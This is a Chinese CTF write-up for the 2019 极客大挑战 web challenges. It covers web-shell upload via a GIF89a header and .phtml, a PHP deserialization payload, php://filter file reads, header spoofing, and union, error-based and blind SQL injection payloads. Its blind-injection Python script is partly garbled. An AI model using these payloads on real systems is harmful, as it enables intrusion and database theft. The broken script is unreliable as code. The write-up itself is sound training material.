目录
[极客大挑战 2019]Upload
一道文件上传题目的题,这道解法以前遇到过
[极客大挑战 2019]PHP
[极客大挑战 2019]Havefun
这道题做完是真的简单
[极客大挑战 2019]Secret File
[极客大挑战 2019]Http
[极客大挑战 2019]Knife
[极客大挑战 2019]BuyFlag
SQL注入题目
[极客大挑战 2019]EasySQL
编辑
[极客大挑战 2019]LoveSQL
1' union select 1,group_concat(column_name),3 from information_schema.columns where table_name="l0ve1ysq1" #
[极客大挑战 2019]BabySQL
[极客大挑战 2019]HardSQL
[极客大挑战 2019]FinalSQL
首先试了一下.php,肯定是被过滤喽
然后上传一下图片码发现,它还检测文件的内容
发现过滤了一句话木马的开头,但是前面我们也遇见了用标签可以代替这种
然后可是还是不对
返回说欺骗了它,然后就想到是不是校验文件头了
加一个 GIF89a
果然上传成功,然后链建议就可以了,需要把2.jpg改成2.phtml才可,被解析
http://4c926abd-6b99-412d-88df-d1d3d42a7d3b.node4.buuoj.cn:81/upload/2.phtml
shell链接
获得flag
测试了一下2.phtml果然有回显看一下环境
说明真的上传成功,shell是一句话木马的密码
一道反序列化的题目
打开界面啥都没有,就一个猫,然后看了一下源码,也没有
这种一般都是备份文件了,其实不太喜欢备份文件,扫目录太慢了,打开dirsearch进行扫目录了,其实是先尝试了一下index.php.bak发现没有,扫出来了www.zip
常见的网站源码备份文件后缀:
tar.gz,zip,rar,tar
常见的网站源码备份文件名:
web,website,backup,back,www,wwwroot,temp
解压了三个文件,class.php,flag.php,index,php
但是打开flag一看就是假的,
username = $username;
$this->password = $password;
}
function __wakeup(){
$this->username = 'guest';
}
function __destruct(){
if ($this->password != 100) {
echo "NO!!!hacker!!!";
echo "You name is: ";
echo $this->username;echo "";
echo "You password is: ";
echo $this->password;echo "";
die();
}
if ($this->username === 'admin') {
global $flag;
echo $flag;
}else{
echo "hello my friend~~sorry i can't give you the flag!";
die();
}
}
}
?>
构造反序列化链,这个有一个坑就是,属性前面定义是private,需要加%00类名%00,这道题而言%00Name%00 这是6个字节%00是一个
构造简单就省略了,直接
O:4:"Name":3:{s:14:"%00Name%00username";s:5:"admin";s:14:"%00Name%00password";s:3:"100";}
但是这道题让我费时间的是,没找到那个输出变量是啥,最后看了wp发现index.php在最下面是
?select=O:4:"Name":3:{s:14:"%00Name%00username";s:5:"admin";s:14:"%00Name%00password";s:3:"100";}
得到flag
首先打开界面是
习惯了先看看源码,没想到,真的有
输出?cat=dog就输出flag,试了一下竟然还正确
真的开森
打开界面一个字秒呀, 老规矩先看一下源码
看见一个地址访问一下吗,
让我想到了一道 速度太快捕捉不到的题目,发现点击secret后,瞬间跳转到end.php
源码应该会有超链接
看到了 action.php,然后抓包一下记住,action.php写在get那里
访问secr3t.php看见了源码
secret
其实意思就是,过滤了 ../ tp input data
然后用伪协议,filter就可以获得flag
?file=php://filter/read=convert.base64-encode/resource=flag.php
记住url要有secr3t.php 因为这是源码界面
出现了base64编码获得flag
打开界面,
查看代码,看见超链接了一个secret.php访问一下
抓包改一下位置,你没来自这个网站,所以加个Referer
然后又提要求了,你没使用这个 东西Syclover浏览
User Agent 中文名为用户代理,简称 UA,它是一个特殊字符串头,使得服务器能够识别客户使用的操作系统及版本、CPU 类型、浏览器及版本、浏览器渲染引擎、浏览器语言、浏览器插件等。
你只能用本地地址访问, 试一下X-Forwarded-For :127.0.0.1
flag出来了,困在了
User Agent 不知道可以改变浏览器访问,
感觉是一道命令执行的题目,可是我试了半天,传参都不可以
最后终于想明白了,这不是一句话木马吗,测试了一下Syc=phpinfo();
然后建议直接就链接上了,结束 ,一道签到题
进入页面,直接查看源码,看见了一个端倪
访问,pay.php
它提示仅仅是cuitstudent学生可以购买flag
然后继续查看源码,发现了
弱比较绕过,传入404%00,系统就会自动识别不是数字
post传参,可是试了好几下都不对,想起了必须是cuit的学生,burp抓包
在Request请求中,Cookie: user=0
,这里是身份判断的位置,在布尔值中0为false,1为true,我们将其改为Cookie: user=1
以通过身份验证。
身份成功,
因为
需要购买,所以传入money,但是提示我太长度太长,
显示Nember lenth is too long
应该是存在长度限制,这里有两种绕过方法
1、科学计数法绕过money=1e9
2、数组绕过money[]=1
1、尝试用账户admin、密码123456登陆,一些常见的账号密码,页面提示错误用户名、密码;
2、再尝试闭合方式,账号输入1,1’,1"判断,当输入为1’时报错,所以判断结果语句应该为单引号闭合(提示:记得密码填上东西)
判断出了,单引号闭合方式,接着试一下万能密码
1' or true# (#是为了省略后面的引号)
密码随便写,#都会忽略掉
得到flag
首先判断一下闭合的方式,发现1‘会报错
然后尝试用一下万能密码
得到这个界面,然后试了一下发现没用
又重新开始找思路,试一下联合注入
1' union select 1,2,3# 判断一下回显位置
查询数据库 1' union select 1,database(),3 #查询到数据库是 geek
继续 1' union select 1,group_concat(table_name),3 from information_schema.tables where table_schema="geek" #
两个表感觉在 后面那个表中
感觉在password中
1' union select 1,group_concat(password),group_concat(username) from l0ve1ysq1#
顺便复习了一下联合注入
老办法先判断闭合方式,发现还是单引号
试了一下万能密码发现,回显和我输入的不一样
输入1' or true#
但回显的时候没有or,应该是把or 过滤成空格了,发现大小写过滤也不行,那就试一下双写注入,oorr成功
和上一道题差不多,感觉这一题会过滤一些常用的函数
1' union select 1,2,3#
1' uniunionon selselectect 1,2,3#
1' uniunionon selselectect 1,database(),3#还是geek数据库
1' uniunionon selselectect 1,group_concat(table_name),3 from information_schema.tables where table_schema=database()#
因为or被过滤了,所以information也不能幸免
1' uniunionon selselectect 1,group_concat(table_name),3 frfromom infoorrmation_schema.tables where table_schema=database()#
发现where也被过滤了
1' uniunionon selselectect 1,group_concat(table_name),3 frfromom infoorrmation_schema.tables whewherere table_schema=database()#
终于成功了,感觉是第一个表名
1' uniunionon selselectect 1,group_concat(column_name),3 frfromom infoorrmation_schema.columns whewherere table_name="b4bsql"#
1' uniunionon selselectect 1,group_concat(password),3 frfromom b4bsql#
试了半天发现不对,看回显不存passwd哦,原来是password的or也被过滤掉了绕过就可以了
1' uniunionon selecselectt 1,group_concat(passwoorrd),3 frfromom b4bsql#
如果界面重叠,缩小比例就可以了
打开网站尝试以前的方法,发现回显都是一句话
union select 等,联合注入都被过滤掉了
然后想到用一下报错注入
这是用的异或手段^.单引号是闭合位置,会出现报错,然后拼接后面 extractvalue是里面有特殊符号会进行报错注入 0x7e就是一个特殊符号
1'^extractvalue(1,concat(0x7e,(select(database()))))#
然后查询表名
1'^extractvalue(1,concat(0x7e,(select(group_concat(table_name))from(information_schema.tables)where((table_schema)like('geek')))))#
~H4rDsq1
字段名
1'^extractvalue(1,concat(0x7e,(select(group_concat(column_name))from(information_schema.columns)where((table_name)like('H4rDsq1')))))#
password
1'^extractvalue(1,concat(0x7e,(select(right(group_concat(password),30))from(H4rDsq1))))#
发现不完整然后用left和right拼接就可以获得flag
flag{d015f65f-ddd0-4886-87a1-9 left
'~f-ddd0-4886-87a1-94d5a3c6bcb2} right
flag{d015f65f-ddd0-4886-87a1-94d5a3c6bcb2}
这道题,也过滤了很多,看见题目上显示sql盲注,所以想到
说明注入点应该是在id这个位置,我们输入:id=6'
也可以使用异或手段注入,1^0=1,1^1=0,0^0=0
发现跳转到报错界面,
import requests
flag=''
for i in range(1,250):
left=32
right=128
mid=(left+right)//2
while(left%d)'%(i,mid))
if 'ERROR' in res.text:
left=mid+1
else:
right=mid
mid=(left+right)//2
if(mid==32 || mid==127):
break
flag=flag+chr(mid)
print(flag)
表名
res=requests.get('http://e4bf984f-85ef-4713-9180-1aaa9c19c08c.node4.buuoj.cn:81/search.php?id=1^(ascii(substr((select(group_concat(table_name))from(information_schema.tables)where(table_schema)=database()),%d,1))>%d)'%(i,mid))
F1naI1y,Flaaaaag
字段名
res = requests.get('http://e4bf984f-85ef-4713-9180-1aaa9c19c08c.node4.buuoj.cn:81/search.php?id=1^(ascii(substr((select(group_concat(column_name))from(information_schema.columns)where(table_name)="Flaaaaag"),%d,1))>%d)'%(i,mid))
id,fl4gawsl
res = requests.get('http://e4bf984f-85ef-4713-9180-1aaa9c19c08c.node4.buuoj.cn:81/search.php?id=1^(ascii(substr((select(group_concat(fl4gawsl))from(Flaaaaag)),%d,1))>%d)'%(i,mid))
这道题难就难在,不按套路出牌,Flaaaag里面的f14gawsl字段,里面的值时NO,真正的flag在F1nal1y表里面的password字段
就先到这了,接下来想重点了解一下rce无回显的方式,加油!
day day up!